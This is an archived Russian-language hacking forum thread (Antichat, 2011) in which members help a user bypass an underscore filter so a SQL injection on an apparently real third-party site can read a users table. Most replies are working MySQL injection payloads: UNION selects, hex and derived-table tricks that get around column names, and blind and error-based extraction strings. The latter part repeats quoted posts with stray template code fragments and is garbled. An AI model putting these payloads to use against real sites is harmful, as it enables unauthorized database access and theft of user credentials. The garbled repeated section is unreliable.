ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Фильтрация нижнего подчеркивания (https://forum.antichat.xyz/showthread.php?t=309983)

listika 24.12.2011 16:19

Перерыла весь интернет, а толку ноль

Надеюсь, что здесь смогут подсказать.

Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.

Например запрос вида: id=-480+union+select+user_id,2+from+users+--

Отбросится все начиная с _id,2+from+users+--

И в итоге запрос не исполнится.

Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?

aydin-ka 24.12.2011 16:21

Используй Limit

id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --

И каждый раз меняешь LIMIT 0,1 -- и .тд

P.S: кажется я вопроса не понял...

Обойти фильтр такими способами

1) вместо + пиши /**/

2) union = UnIoN

и .тд

listika 24.12.2011 16:27

Видимо не поняли...

Такое проходит, без подчеркивания:

id=-480+union+select+user,2+from+users+--

А с подчеркиванием режет, не проходит:

id=-480+union+select+user_id,2+from+users+--

Все что после подчеркивания вырезается.

Остается id=-480+union+select+user

Лимит и др тут не причем.

aydin-ka 24.12.2011 17:02

Здесь режется _

Попробуйте закодировать. Функция CHAR()

nikp 24.12.2011 17:14

Цитата:

Сообщение от listika
Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.
Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?

Предположим исходный запрос

Код:

select field_name from table_name
для MySql эквивалентным будет

Код:

select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

=======

UPD

Совет не верный.

aydin-ka 24.12.2011 17:18

nikp а так можно? или опять резать будет?

id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--

Ereee 24.12.2011 17:26

Цитата:

Сообщение от aydin-ka
nikp
а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--

Будет резать. ТС, пробуй:

id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --

listika 24.12.2011 17:37

Функция CHAR() никак не помогает, выводится константа раскодированная в итоге

Expl0ited 24.12.2011 17:37

Цитата:

Сообщение от nikp
Предположим исходный запрос
Код:

select field_name from table_name
для MySql эквивалентным будет
Код:

select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.

listika 24.12.2011 17:39

Цитата:

Сообщение от Expl0ited
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

все верно, так и возвращает...

Expl0ited 24.12.2011 17:41

Цитата:

Сообщение от listika
все верно, так и возвращает...

Прочитай тут, последнее предложение, мб получится, хотя шансов мало.

listika 24.12.2011 17:51

Цитата:

Сообщение от Ereee
Будет резать. ТС, пробуй:
id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --

запрос SELECT unhex( 0x757365725f6964 )

возвращает

unhex(0x757365725f6964)

NULL

Ereee 24.12.2011 17:52

Стaло быть никак =\ Ссылку в студио, пожалуйста!

listika 24.12.2011 17:54

Цитата:

Сообщение от Expl0ited
Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.

%5f вырезалось как и просто с подчеркиванием

listika 24.12.2011 17:57

Цитата:

Сообщение от Ereee
Ссылку в студио, пожалуйста!

Не могу...

nikp 24.12.2011 18:09

UPD2

Для поля таблицы можно попробовать такой обход.

Нужно подбирать количество полей в таблице users и местоположение интересующего поля.

Допустим таблица имеет три поля

user_id, user_name, user_password, тогда для вывода второго и третьего поля:

Код:

id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+

KolosJey 24.12.2011 18:34

Вариант 1

Это можно попробывать сделать как-то так:

1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a

1 union select 6,users.*,2,3,4,5,1 from users

(полный запрос приводить не буду )

Но тут нужно несколько условий. Подробнее:

/threadnav43966-6-10.html

53-54 посты

Ну и конечно с information_schema попрощаться

Вариант 2

Искать двойной запрос и уже в нём нормально крутить в 0x



Вариант 3

Не ломать фрагорию (почему-то мне кажется что это именно она )) - это плохо кончится.


nikp

concat_ws не пропустит из-за "_"

Expl0ited 24.12.2011 18:46

Ответ дан , тема закрыта. Если у ТС, что то не получится пусть отпишет мне в пм.

Цитата:

Сообщение от Expl0ited
Цитата:

Сообщение от listika
Цитата:

Сообщение от None
Если у ТС, что то не получится пусть отпишет мне в пм.

Не успела отправить сообщение...
Цитата:

Сообщение от nikp
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Код:

id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+

Она еще и слепая. Использую такую конструкцию:
Код:

id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?

" if author else f"
Цитата:

listika said:
Цитата:

Сообщение от None
Если у ТС, что то не получится пусть отпишет мне в пм.

Не успела отправить сообщение...
Цитата:

Сообщение от nikp
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Код:

id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+

Она еще и слепая. Использую такую конструкцию:
Код:

id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?

У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция
Код:

id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+
Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:
Код:

id=480 and (select(max(1))from(mysql.user)group+by(concat(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+

" if author else f"
Цитата:

Expl0ited said:
Цитата:

Сообщение от listika
Цитата:

Сообщение от None
Если у ТС, что то не получится пусть отпишет мне в пм.

Не успела отправить сообщение...
Цитата:

Сообщение от nikp
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Код:

id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+

Она еще и слепая. Использую такую конструкцию:
Код:

id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?

" if author else f"
Цитата:

listika said:
Цитата:

Сообщение от None
Если у ТС, что то не получится пусть отпишет мне в пм.

Не успела отправить сообщение...
Цитата:

Сообщение от nikp
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Код:

id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+

Она еще и слепая. Использую такую конструкцию:
Код:

id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?

У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция
Код:

id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+
Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:
Код:

id=480 and (select(max(1))from(mysql.user)group+by(concat(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+



Время: 05:56